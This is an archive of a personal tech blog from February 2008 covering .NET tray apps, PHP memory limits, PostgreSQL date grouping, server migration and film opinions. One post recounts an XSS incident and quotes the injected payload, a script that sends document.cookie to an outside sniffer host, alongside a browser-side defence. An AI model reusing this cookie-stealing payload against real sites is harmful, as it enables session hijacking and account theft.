Friday, February 29, 2008

Clickaider

I have been waiting about this. cliackiader is a freeservice under 100 thousands page view after that it says.

Current period includes more than number of clicks allowed for youraccount (100,000).
You can view current report starting from 02/25/2008 00:00.


its nice to see that we overwhelmed the possible ways :)

Skype Database

I have not know that skype uses postgresql at backend. check this out
one of the project that they wrote for postgresql. I guess it is good idea to have that kind of clustering.

Tuesday, February 19, 2008

Vista is a total disaster or what

some part of my program could not work on vista. it says "no authorization". this program developed under .net 2 simple program shows some web pages from internet stands in system tray. thats the program in this post.

and it uses webbrowser component of .net. I know microsoft build up a new most secure system for their customers. but it works in XP. there must be some option about vista situation. now I am thinking C++ will be more easy but I am not sure. anyway time will show.

Funny Eclipse

I have been working with all platforms about 15 years now. I used to write bat files in dos5 now I am writing java code with eclipse and c# with vs.net . anyway here is the story about the funny ide :)

I was writing some AJAX application in eclipse which has to call a ten thousand line js file from browser and call some function from there. first of all writing that much big js file is a big big mistake from all perspectives. and deploying this big file to a browser another mistake but its a big project since 2006 its written by some people. I can not change that in 1 day.

when I start to turn mouse wheel eclipse understands later the effect and when I stop it could not stop :) and line numbers comes later too. it means I have to a lot of CPU and RAM for that. but its like walking with a big dog :D

NotifyIcon and double click problem

in .net 2 if you want to show your application in system tray. you need to add notify icon to your application and set the "ShowInTaskBar" property to False. now you have the notify icon in the system tray. my problem was I could not show the form if I double click on the notify icon. I tried to BringToFront() which works but it did not work under this situation. anyway here is the solution:

private void notifyIcon1_MouseDoubleClick(object sender, MouseEventArgs e)
{
this.Visible = true;
Show();
this.BringToFront();
this.Activate();
}

I know that bringtofront function does not work but I like to see my code this way more clear :) now Activate() works perfectly.

Change Php Memory Limit in Shared Hosting

One of my client asked me to solve a small bug in one of my php application. I am not a php guru but I am a dirty hacker :) anyway the problem was exceeding memory limit. in shared hosting it was limited with 8M from php.ini

I made a small research but could not find any document about it in ISP's page. and asked to my uncle google. he could not find any copy paste code there too :) and at last of course for the php I have to check php.net and its documentation little bit reading here is the line which saves the day:

ini_set('memory_limit','128M');

it was working very fine in 8mb then it will work for a long time in 128m :) thats enough for that.

Monday, February 18, 2008

Firefox 3

still in early steps and somehow I get the same http 500 error from docs.google.com. I dunno how to solve this.

Sunday, February 17, 2008

Firefox 2 and google docs problem

really strange problem somehow I manage to get http 500 error from docs.google.com in firefox 2 and clearing cookies did not help me about this. it means now I have the reason to give a shot for firefox 3 :) this was from ff2.

Cloverfield

in two few words. good packing :) it does not have a new story or new outstanding style. but in this movie somehow I open my eyes and watch without blinking :) maybe because it was something like quake game. like you are one of the player in the movie. it does not telling you a story. this movie taking you into the eyes of someone in the story.

it has a high tempo and I was like this "what was that" "what just happened" "what". I can give 7 out of 10.

Thursday, February 14, 2008

Job interview

one time somebody asked me to write a code which will solve Fibonacci numbers. and I looked at the paper and after 5 secs. I told him to look at the Google this is the oldest question in the book.

I know there are some people who thinks programmer has to know this. I am not one of them actually I always like to write new things. who care the solution of Fibonacci in real world computer problems. I know what it is and how to solve it thats enough for me.

if you like to memorize that code or one of the fan of Fibonacci check this out:
http://www.hanselman.com/blog/TheWeeklySourceCode13FibonacciEdition.aspx

still I find c# 2 implementation better than others.

Postgresql group by day, week and month examples

at the end of any product there will be a reporting interfaces for counts. let say you build a advertisement site which gives people to publish their products on the site. they will want to see how many people visited their product in daily basis or weekly.

I used to do this in mysql like this
SELECT create_time as Date, count(id) as 'Count', FROM
views_of_product
group by date_format(create_time, '%d %m %Y')
order by date_format(create_time, '%Y-%m-%d') desc limit 7

this will nicely show last seven days views. but I needed to do same thing in postgresql. and like other days its not easily to find. I should check other report codes from project but no I allways research on google :) anyway here is my code:
select to_char(created, 'YYYY-MM-DD') ,count(id)
from videos_capture
group by to_char(created, 'YYYY-MM-DD')
order by to_char(created, 'YYYY-MM-DD') desc limit 7

its not bad actually works like a charm but understanding this code is not that easy. after I found this I started to implement needs and see better and easy to understand solutions.

weekly count example. this will show new users weekly parts for last 3 months:
SELECT date_trunc('week', created) AS "Week" , count(id) AS "New Users"
FROM users
WHERE created > now() - interval '3 months'
GROUP BY "Week"
ORDER BY "Week"

yearly example. this will show monthly 1 year users:
SELECT date_trunc('month', created) AS "Month" , count(id) AS "New Users"
FROM users
WHERE created > now() - interval '1 year'
GROUP BY "Month"
ORDER BY "Month"


I must say understanding postgresql's sql more easy then mysql.

Wednesday, February 13, 2008

I am legend

I know this is little bit old movie and I watch it again. at first it has a perfect production they duplicate entire city for this that is good. secondly it gives a nice idea about bob marley and peace. at the end its still a copycat scenario of some movie.

I started to think about really there will be a virus for end :)

Monday, February 11, 2008

is it true

I was just reading my rss subscriptions and find out that there is a research about cellphone and its cancer affect. I am not a doctor nor I know anything about these stuff.

but I know something about money. anyone can say anything if they got 8.8 million pound. this set includes doctors even prophets.....

http://www.guardian.co.uk/technology/2008/feb/06/mobilephones.health

Sunday, February 10, 2008

Hitman vs Rambo 4

first I watch rambo 4 after a long time seeing someone from your childhood was good feeling at the end it was not bad. I was fell a sleep in that last rocky movie :)

hitman is a real good movie. they stick to the character and stuff just like the game. but I must say that game was boring for me it was too quite. I like to have more noise :) quake rulez.... anyway at the end hitman was a good movie.

in my opinion Rambo probably would kick hitman's ass :) ofcourse if he does not bring out a needle. he does have tricks :)

Sweden must be a good place

I have been searching which movie coming out and how is going the media. anyway somehow I find myself reading letters between thepiratebay.org and big firm's law departments. for example apple and microsoft and dreamworks. you name it :) who has a big firm and a production sent them a mail and they respond to these mails as rude as possible :)

I dunno this story is true or lie but I like these words exactly from letters:
As you may or may not be aware, Sweden is not a state in the United States
of America. Sweden is a country in northern Europe.
Unless you figured it out by now, US law does not apply here.
For your information, no Swedish law is being violated.


after now I am fan of Sweden :)

Friday, February 08, 2008

ISAPI and IIS Server Header

IIS puts "Server:Microsoft-IIS6" or something like this string into the returned header from server in http. that is somehow a security hole because a person who is interested in doing bad things or anything to some server its first rule for them to learn what are they dealing with.

so I needed to close this way. I made a research but its kinda old old old articles everywhere and not most of them useful. here is my solution. at the end these is source code included for Xmask I tried to change this server header to something else like "Server:Mascix" but it did not work I dunno why but at the end it cleaned what I wanted :)

Wednesday, February 06, 2008

A small hack story

One of my friend came to me and told me he lost his admin user while he was browsing the web site. I was surprised because normally it does not happen. if that site was using asp.net :) its sad but true asp.net does not allow html inclusion in post data. anyway the hacker puts a script code into his name field like this:

src="http://inso.host.sk/sniffer/c.js"></script>

its not a big deal if you look the output of this script you will see this:

a=new/**/Image();a.src='http://inso.host.sk/sniffer/s.php?a='+escape(document.cookie);

at the end it stoles browser's cookie and send it to a php file. while the hacker browsing another url and see which fish got fall for a trick :) anyway today I made a research and found a solution to this situation:

https://addons.mozilla.org/en-US/firefox/addon/722

you should simply disable all js inclusions in the page except the domain. that will make your browser more secure.

Good Code vs Bad Code

Sometime I talk with my programmer friends about data structure and design patterns and good code. I think there is good code but it does not matter if you see it at first it takes sometime to understand it. thats why if you start swearing at someone's code who worked the place before you. no matter how was good that code was. here is a good explanation of that situation :)
at the end there is no looking at code and not swearing :D

Monday, February 04, 2008

We have to learn Chinese

its been a long time I have started to see japanese or chinese language in internet. they have really good technical guys but most of them writes in their language. today I was checking my email. and I saw a news its really cool.

210 million Internet users in China; 11.93 million domain names


it means a big big big market there and if we want to do something we have to start learning Chinese. it will be easier then teaching them English I guess :)

references:
http://english.people.com.cn/90001/90781/90877/6341926.html

Friday, February 01, 2008

Howto Change Your Server One To Another

this post is about ftp in bash/console.It has been a long time I was a godaddy customer. their service is really nice if you are starting something but at some point in my "Deluxe Hosting - Linux" account mysql databases started to suck. I have tried to change mysql databases create new ones from hosting control center. but it did not work out and I get a new dedicated server. now I have about 10 domain which works under linux with power of php. so how am I gonna move all those to another linux.

here comes our mutual friend MC. midnight commander :) this new dedicated is debian and apt totally rocks it took me to install mc in 5 secs. and lets see how we can connect to other ftp at "right" menu there is "ftp link". you need to put proper ftp url there and in right panel you will see another server which is in godaddy data center :) isnt it rock.

example proper ftp url for midnight commander ftp client:
"username:password@yourdomain.com"

and all these will be under console. linux rocks

JSP http post arguments/parameters

yesterday I was looking for a way to print some values from http POST. then I could not find easy example. this was about getting values from some swf. first I wrote this:

for(Enumeration i = request.getParameterNames();i.hasMoreElements();){
String parName=(String)i.nextElement();
out.write("parameter:"+parName+" value:"+request.getParameter(parName));
System.out.println("parameter:"+parName+" value:"+request.getParameter(parName));
}

this was working very well I tried it from browser address bar. but then there was a strange exception about security and stuff. like this:
[2008-01-31 19:18:17,140] resin-tcp-connection-*:80-11 WARN org.springframework.web.servlet.PageNotFound - No mapping for [/crossdomain.xml] in DispatcherServlet with name 'pageFlow'

as you see sound like spring exception. then I convert the *.xml line to rss.xml in web.xml. because there was only one rss.xml request which has to be handled by spring. after that I have to find a crossdomain.xml for swf. example:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.macromedia.com" secure="false" />
<allow-access-from domain="*.adobe.com" secure="false" />
<allow-access-from domain="*.mydomain.com" secure="true" />
</cross-domain-policy>

the important part we have to say our domain is secure=true otherwise same exception stays. now my http post printer is working.

odd string diff

 https://leetcode.com/problems/odd-string-difference/ Beats 19.92% of users with Java   class Solution { public String oddString ( S...